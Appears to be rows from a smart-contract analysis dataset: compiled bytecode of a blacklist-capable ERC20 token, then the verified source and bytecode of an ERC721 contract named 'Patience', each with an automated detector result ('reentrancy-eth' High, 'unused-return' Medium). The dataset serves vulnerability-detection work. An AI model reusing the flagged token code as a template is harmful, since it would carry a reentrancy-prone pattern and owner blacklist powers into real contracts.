b5760405162461bcd60e51b81526004016105f390611c04565b60005b82811015610a3c5781600560008686858181106109ed576109ed611c39565b9050602002016020810190610a029190611ab4565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a3481611c65565b9150506109ce565b50505050565b6000546001600160a01b03163314610a6c5760405162461bcd60e51b81526004016105f390611c04565b601755565b6000546001600160a01b03163314610a9b5760405162461bcd60e51b81526004016105f390611c04565b6001600160a01b038116610b005760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105f3565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bbd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105f3565b6001600160a01b038216610c1e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105f3565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ce35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105f3565b6001600160a01b038216610d455760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105f3565b60008111610da75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105f3565b6000546001600160a01b03848116911614801590610dd357506000546001600160a01b03838116911614155b156110b457601554600160a01b900460ff16610e6c576000546001600160a01b03848116911614610e6c5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105f3565b601654811115610ebe5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105f3565b6001600160a01b03831660009081526010602052604090205460ff16158015610f0057506001600160a01b03821660009081526010602052604090205460ff16155b610f585760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105f3565b6015546001600160a01b03838116911614610fdd5760175481610f7a846107c6565b610f849190611c80565b10610fdd5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105f3565b6000610fe8306107c6565b6018546016549192508210159082106110015760165491505b8080156110185750601554600160a81b900460ff16155b801561103257506015546001600160a01b03868116911614155b80156110475750601554600160b01b900460ff165b801561106c57506001600160a01b03851660009081526005602052604090205460ff16155b801561109157506001600160a01b03841660009081526005602052604090205460ff16155b156110b15761109f826112b3565b4780156110af576110af476111f5565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110f657506001600160a01b03831660009081526005602052604090205460ff165b8061112857506015546001600160a01b0385811691161480159061112857506015546001600160a01b03848116911614155b15611135575060006111af565b6015546001600160a01b03858116911614801561116057506014546001600160a01b03848116911614155b1561117257600854600c55600954600d555b6015546001600160a01b03848116911614801561119d57506014546001600160a01b03858116911614155b156111af57600a54600c55600b54600d555b610a3c8484848461143c565b600081848411156111df5760405162461bcd60e51b81526004016105f391906119f2565b5060006111ec8486611c98565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610664573d6000803e3d6000fd5b60006006548211156112965760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105f3565b60006112a061146a565b90506112ac838261148d565b9392505050565b6015805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112fb576112fb611c39565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561134f57600080fd5b505afa158015611363573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113879190611caf565b8160018151811061139a5761139a611c39565b6001600160a01b0392831660209182029290920101526014546113c09130911684610b5b565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906113f9908590600090869030904290600401611ccc565b600060405180830381600087803b15801561141357600080fd5b505af1158015611427573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611449576114496114cf565b6114548484846114fd565b80610a3c57610a3c600e54600c55600f54600d55565b60008060006114776115f4565b9092509050611486828261148d565b9250505090565b60006112ac83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611634565b600c541580156114df5750600d54155b156114e657565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061150f87611662565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061154190876116bf565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115709086611701565b6001600160a01b03891660009081526002602052604090205561159281611760565b61159c84836117aa565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115e191815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061160f828261148d565b82101561162b57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116555760405162461bcd60e51b81526004016105f391906119f2565b5060006111ec8486611d3d565b600080600080600080600080600061167f8a600c54600d546117ce565b925092509250600061168f61146a565b905060008060006116a28e878787611823565b919e509c509a509598509396509194505050505091939550919395565b60006112ac83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111bb565b60008061170e8385611c80565b9050838110156112ac5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105f3565b600061176a61146a565b905060006117788383611873565b306000908152600260205260409020549091506117959082611701565b30600090815260026020526040902055505050565b6006546117b790836116bf565b6006556007546117c79082611701565b6007555050565b60008080806117e860646117e28989611873565b9061148d565b905060006117fb60646117e28a89611873565b905060006118138261180d8b866116bf565b906116bf565b9992985090965090945050505050565b60008080806118328886611873565b905060006118408887611873565b9050600061184e8888611873565b905060006118608261180d86866116bf565b939b939a50919850919650505050505050565b60008261188257506000610679565b600061188e8385611d5f565b90508261189b8583611d3d565b146112ac5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105f3565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107c357600080fd5b803561192881611908565b919050565b6000602080838503121561194057600080fd5b823567ffffffffffffffff8082111561195857600080fd5b818501915085601f83011261196c57600080fd5b81358181111561197e5761197e6118f2565b8060051b604051601f19603f830116810181811085821117156119a3576119a36118f2565b6040529182528482019250838101850191888311156119c157600080fd5b938501935b828510156119e6576119d78561191d565b845293850193928501926119c6565b98975050505050505050565b600060208083528351808285015260005b81811015611a1f57858101830151858201604001528201611a03565b81811115611a31576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a5a57600080fd5b8235611a6581611908565b946020939093013593505050565b600080600060608486031215611a8857600080fd5b8335611a9381611908565b92506020840135611aa381611908565b929592945050506040919091013590565b600060208284031215611ac657600080fd5b81356112ac81611908565b8035801515811461192857600080fd5b600060208284031215611af357600080fd5b6112ac82611ad1565b600060208284031215611b0e57600080fd5b5035919050565b60008060008060808587031215611b2b57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b5c57600080fd5b833567ffffffffffffffff80821115611b7457600080fd5b818601915086601f830112611b8857600080fd5b813581811115611b9757600080fd5b8760208260051b8501011115611bac57600080fd5b602092830195509350611bc29186019050611ad1565b90509250925092565b60008060408385031215611bde57600080fd5b8235611be981611908565b91506020830135611bf981611908565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611c7957611c79611c4f565b5060010190565b60008219821115611c9357611c93611c4f565b500190565b600082821015611caa57611caa611c4f565b500390565b600060208284031215611cc157600080fd5b81516112ac81611908565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d1c5784516001600160a01b031683529383019391830191600101611cf7565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d5a57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d7957611d79611c4f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ea4dd6f9699ceb119640ab76b9acd04d3c25903f19a7d27df5c0ac58fe9df2fb64736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
9,583
0x3affadef3016fabf381e3fbe1ce44faa6702a5ae
/** *Submitted for verification at Etherscan.io on 2021-09-27 */ // $$$$$$\ $$\ $$\ $$\ // $$ __$$\ $$ | $$ | $$ | // $$ / \__| $$$$$$\ $$$$$$\ $$\ $$\ $$ | $$ |$$$$$$\ $$$$$$$\ $$ | $$$$$$\ $$\ $$\ $$\ // $$ | $$ __$$\ $$ __$$\ $$ | $$ | \$$\ $$ |\____$$\ $$ __$$\ $$ | $$ __$$\ $$ | $$ | $$ | // $$ | $$ / $$ |$$ | \__|$$ | $$ | \$$\$$ / $$$$$$$ |$$ | $$ | $$ | $$$$$$$$ |$$ | $$ | $$ | // $$ | $$\ $$ | $$ |$$ | $$ | $$ | \$$$ / $$ __$$ |$$ | $$ | $$ | $$ ____|$$ | $$ | $$ | // \$$$$$$ |\$$$$$$ |$$ | \$$$$$$$ | \$ / \$$$$$$$ |$$ | $$ | $$$$$$$$\\$$$$$$$\ \$$$$$\$$$$ | // \______/ \______/ \__| \____$$ | \_/ \_______|\__| \__| \________|\_______| \_____\____/ // $$\ $$ | // \$$$$$$ | // \______/ // $$$$$$$\ $$\ $$\ // $$ __$$\ $$ | \__| // $$ | $$ |$$$$$$\ $$$$$$\ $$\ $$$$$$\ $$$$$$$\ $$$$$$$\ $$$$$$\ // $$$$$$$ |\____$$\\_$$ _| $$ |$$ __$$\ $$ __$$\ $$ _____|$$ __$$\ // $$ ____/ $$$$$$$ | $$ | $$ |$$$$$$$$ |$$ | $$ |$$ / $$$$$$$$ | // $$ | $$ __$$ | $$ |$$\ $$ |$$ ____|$$ | $$ |$$ | $$ ____| // $$ | \$$$$$$$ | \$$$$ |$$ |\$$$$$$$\ $$ | $$ |\$$$$$$$\ \$$$$$$$\ // \__| \_______| \____/ \__| \_______|\__| \__| \_______| \_______| // // // // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IERC165 { function supportsInterface(bytes4 interfaceId) external view returns (bool); } abstract contract ERC165 is IERC165 { function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; function toString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } interface IERC721 is IERC165 { event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); function balanceOf(address owner) external view returns (uint256 balance); function ownerOf(uint256 tokenId) external view returns (address owner); function safeTransferFrom( address from, address to, uint256 tokenId ) external; function transferFrom( address from, address to, uint256 tokenId ) external; function approve(address to, uint256 tokenId) external; function getApproved(uint256 tokenId) external view returns (address operator); function setApprovalForAll(address operator, bool _approved) external; function isApprovedForAll(address owner, address operator) external view returns (bool); function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } interface IERC721Metadata is IERC721 { function name() external view returns (string memory); function tokenURI(uint256 tokenId) external view returns (string memory); } interface IERC721Receiver { function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } contract Patience is Context, Ownable, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; string private _name; string private _uri; address private _artist; uint256 private _nftid; mapping(uint256 => address) private _owners; mapping(address => uint256) private _balances; mapping(uint256 => address) private _tokenApprovals; mapping(address => mapping(address => bool)) private _operatorApprovals; constructor(string memory Contract_Name, string memory Base_URI, address Artist_Address, uint256 NFT_id) { _name = Contract_Name; _uri = Base_URI; _artist = Artist_Address; _nftid = NFT_id; _mint(artist(),nftid()); } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } function name() public view virtual override returns (string memory) { return _name; } function artist() public view virtual returns (address) { return _artist; } function nftid() public view virtual returns (uint256) { return _nftid; } function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } function _baseURI() internal view virtual returns (string memory) { return _uri; } function approve(address to, uint256 tokenId) public virtual override { address owner = Patience.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } function transferFrom( address from, address to, uint256 tokenId ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = Patience.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } function _burn(uint256 tokenId) internal virtual { address owner = Patience.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(Patience.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(Patience.ownerOf(tokenId), to, tokenId); } function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} }
0x608060405234801561001057600080fd5b506004361061010b5760003560e01c80636fd976bc116100a2578063a22cb46511610071578063a22cb46514610215578063b88d4fde14610228578063c87b56dd1461023b578063e985e9c51461024e578063f2fde38b1461028a57600080fd5b80636fd976bc146101d757806370a08231146101e9578063715018a6146101fc5780638da5cb5b1461020457600080fd5b806323b872dd116100de57806323b872dd1461018d57806342842e0e146101a057806343bc1612146101b35780636352211e146101c457600080fd5b806301ffc9a71461011057806306fdde0314610138578063081812fc1461014d578063095ea7b314610178575b600080fd5b61012361011e36600461110e565b61029d565b60405190151581526020015b60405180910390f35b6101406102ef565b60405161012f91906111f9565b61016061015b366004611148565b610381565b6040516001600160a01b03909116815260200161012f565b61018b6101863660046110e4565b61041b565b005b61018b61019b366004610f90565b610531565b61018b6101ae366004610f90565b610562565b6003546001600160a01b0316610160565b6101606101d2366004611148565b61057d565b6004545b60405190815260200161012f565b6101db6101f7366004610f42565b6105f4565b61018b61067b565b6000546001600160a01b0316610160565b61018b6102233660046110a8565b6106e1565b61018b610236366004610fcc565b6107a6565b610140610249366004611148565b6107de565b61012361025c366004610f5d565b6001600160a01b03918216600090815260086020908152604080832093909416825291909152205460ff1690565b61018b610298366004610f42565b6108b9565b60006001600160e01b031982166380ac58cd60e01b14806102ce57506001600160e01b03198216636743446f60e11b145b806102e957506301ffc9a760e01b6001600160e01b03198316145b92915050565b6060600180546102fe9061131e565b80601f016020809104026020016040519081016040528092919081815260200182805461032a9061131e565b80156103775780601f1061034c57610100808354040283529160200191610377565b820191906000526020600020905b81548152906001019060200180831161035a57829003601f168201915b5050505050905090565b6000818152600560205260408120546001600160a01b03166103ff5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084015b60405180910390fd5b506000908152600760205260409020546001600160a01b031690565b60006104268261057d565b9050806001600160a01b0316836001600160a01b031614156104945760405162461bcd60e51b815260206004820152602160248201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656044820152603960f91b60648201526084016103f6565b336001600160a01b03821614806104b057506104b0813361025c565b6105225760405162461bcd60e51b815260206004820152603860248201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760448201527f6e6572206e6f7220617070726f76656420666f7220616c6c000000000000000060648201526084016103f6565b61052c8383610984565b505050565b61053b33826109f2565b6105575760405162461bcd60e51b81526004016103f69061125e565b61052c838383610ae9565b61052c838383604051806020016040528060008152506107a6565b6000818152600560205260408120546001600160a01b0316806102e95760405162461bcd60e51b815260206004820152602960248201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460448201526832b73a103a37b5b2b760b91b60648201526084016103f6565b60006001600160a01b03821661065f5760405162461bcd60e51b815260206004820152602a60248201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604482015269726f206164647265737360b01b60648201526084016103f6565b506001600160a01b031660009081526006602052604090205490565b6000546001600160a01b031633146106d55760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103f6565b6106df6000610c89565b565b6001600160a01b03821633141561073a5760405162461bcd60e51b815260206004820152601960248201527f4552433732313a20617070726f766520746f2063616c6c65720000000000000060448201526064016103f6565b3360008181526008602090815260408083206001600160a01b03871680855290835292819020805460ff191686151590811790915590519081529192917f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31910160405180910390a35050565b6107b033836109f2565b6107cc5760405162461bcd60e51b81526004016103f69061125e565b6107d884848484610cd9565b50505050565b6000818152600560205260409020546060906001600160a01b031661085d5760405162461bcd60e51b815260206004820152602f60248201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60448201526e3732bc34b9ba32b73a103a37b5b2b760891b60648201526084016103f6565b6000610867610d0c565b9050600081511161088757604051806020016040528060008152506108b2565b8061089184610d1b565b6040516020016108a292919061118d565b6040516020818303038152906040525b9392505050565b6000546001600160a01b031633146109135760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103f6565b6001600160a01b0381166109785760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103f6565b61098181610c89565b50565b600081815260076020526040902080546001600160a01b0319166001600160a01b03841690811790915581906109b98261057d565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000818152600560205260408120546001600160a01b0316610a6b5760405162461bcd60e51b815260206004820152602c60248201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860448201526b34b9ba32b73a103a37b5b2b760a11b60648201526084016103f6565b6000610a768361057d565b9050806001600160a01b0316846001600160a01b03161480610ab15750836001600160a01b0316610aa684610381565b6001600160a01b0316145b80610ae157506001600160a01b0380821660009081526008602090815260408083209388168352929052205460ff165b949350505050565b826001600160a01b0316610afc8261057d565b6001600160a01b031614610b645760405162461bcd60e51b815260206004820152602960248201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960448201526839903737ba1037bbb760b91b60648201526084016103f6565b6001600160a01b038216610bc65760405162461bcd60e51b8152602060048201526024808201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646044820152637265737360e01b60648201526084016103f6565b610bd1600082610984565b6001600160a01b0383166000908152600660205260408120805460019290610bfa9084906112db565b90915550506001600160a01b0382166000908152600660205260408120805460019290610c289084906112af565b909155505060008181526005602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610ce4848484610ae9565b610cf084848484610e19565b6107d85760405162461bcd60e51b81526004016103f69061120c565b6060600280546102fe9061131e565b606081610d3f5750506040805180820190915260018152600360fc1b602082015290565b8160005b8115610d695780610d5381611359565b9150610d629050600a836112c7565b9150610d43565b60008167ffffffffffffffff811115610d8457610d846113ca565b6040519080825280601f01601f191660200182016040528015610dae576020820181803683370190505b5090505b8415610ae157610dc36001836112db565b9150610dd0600a86611374565b610ddb9060306112af565b60f81b818381518110610df057610df06113b4565b60200101906001600160f81b031916908160001a905350610e12600a866112c7565b9450610db2565b60006001600160a01b0384163b15610f1b57604051630a85bd0160e11b81526001600160a01b0385169063150b7a0290610e5d9033908990889088906004016111bc565b602060405180830381600087803b158015610e7757600080fd5b505af1925050508015610ea7575060408051601f3d908101601f19168201909252610ea49181019061112b565b60015b610f01573d808015610ed5576040519150601f19603f3d011682016040523d82523d6000602084013e610eda565b606091505b508051610ef95760405162461bcd60e51b81526004016103f69061120c565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050610ae1565b506001949350505050565b80356001600160a01b0381168114610f3d57600080fd5b919050565b600060208284031215610f5457600080fd5b6108b282610f26565b60008060408385031215610f7057600080fd5b610f7983610f26565b9150610f8760208401610f26565b90509250929050565b600080600060608486031215610fa557600080fd5b610fae84610f26565b9250610fbc60208501610f26565b9150604084013590509250925092565b60008060008060808587031215610fe257600080fd5b610feb85610f26565b9350610ff960208601610f26565b925060408501359150606085013567ffffffffffffffff8082111561101d57600080fd5b818701915087601f83011261103157600080fd5b813581811115611043576110436113ca565b604051601f8201601f19908116603f0116810190838211818310171561106b5761106b6113ca565b816040528281528a602084870101111561108457600080fd5b82602086016020830137600060208483010152809550505050505092959194509250565b600080604083850312156110bb57600080fd5b6110c483610f26565b9150602083013580151581146110d957600080fd5b809150509250929050565b600080604083850312156110f757600080fd5b61110083610f26565b946020939093013593505050565b60006020828403121561112057600080fd5b81356108b2816113e0565b60006020828403121561113d57600080fd5b81516108b2816113e0565b60006020828403121561115a57600080fd5b5035919050565b600081518084526111798160208601602086016112f2565b601f01601f19169290920160200192915050565b6000835161119f8184602088016112f2565b8351908301906111b38183602088016112f2565b01949350505050565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906111ef90830184611161565b9695505050505050565b6020815260006108b26020830184611161565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b600082198211156112c2576112c2611388565b500190565b6000826112d6576112d661139e565b500490565b6000828210156112ed576112ed611388565b500390565b60005b8381101561130d5781810151838201526020016112f5565b838111156107d85750506000910152565b600181811c9082168061133257607f821691505b6020821081141561135357634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561136d5761136d611388565b5060010190565b6000826113835761138361139e565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b03198116811461098157600080fdfea264697066735822122031bf62027014636020a5cdade4c6789c2fa3098846e65f479658e1ae44b7acff64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
9,584
